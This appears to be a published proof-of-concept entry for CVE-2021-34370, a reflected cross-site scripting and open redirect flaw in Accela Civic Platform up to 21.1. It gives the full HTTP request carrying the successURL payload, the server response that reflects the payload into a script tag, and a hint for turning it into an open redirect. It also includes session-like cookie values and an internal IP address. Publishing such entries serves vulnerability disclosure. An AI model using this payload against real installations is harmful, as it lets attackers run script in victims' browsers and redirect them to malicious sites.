Accela Civic Platform 21.1 - 'successURL' Cross-Site-Scripting (XSS)

# Exploit Title: Accela Civic Platform 21.1 - 'successURL' Cross-Site-Scripting (XSS)
# Software Link: https://www.accela.com/civic-platform/
# Version: <= 21.1
# Author: Abdulazeez Alaseeri
# Tested on: JBoss server/windows
# Type: Web App
# Date: 07/06/2021
# CVE-2021-34370



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Accela Civic Platform Cross-Site-Scripting and Open Redirect <= 21.1
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Request Heeaders start
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GET /ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=%27^alert`1`^%27 HTTP/1.1

Host: Hidden

Cookie: JSESSIONID=bjmCs2TMr3RzVGT28iJafk0vRpZcd2uO0QVlR7K9.civpnode; BIGipServerAccela_Automation_av.web_pool_PROD=1360578058.47873.0000; LASTEST_REQUEST_TIME=1623056446126; LATEST_LB=1360578058.47873.0000; LATEST_SESSION_ID=xWGsssz3eS1biQdST9lnfkxyMMUp2q3HLR75bGaX; LATEST_WEB_SERVER=10.198.24.82; UUID=35e180c4-bde4-48e3-876f-0f32c6e85d5c; JSESSIONID=***************************; g_current_language_ext=en_US; hostSignOn=true

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Te: trailers

Connection: close

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Request Heeaders end
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Response Heeaders start
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HTTP/1.1 200 OK

Connection: close

Set-Cookie: JSESSIONID=8qVANwRg4mQWxQ6vAuZOxtv7OEhEMbEXJdc2CzTY.civpnode; path=/ssoAdapter

X-XSS-Protection: 0

Content-Type: text/html;charset=ISO-8859-1

Content-Length: 73

Date: Tue, 08 Jun 2021 10:41:59 GMT



<script type='text/javascript'>document.location=''^alert`1`^''</script>

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Response Heeaders end
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Payload: %27^alert`1`^%27

for open redirect, replace the payload to a valid website.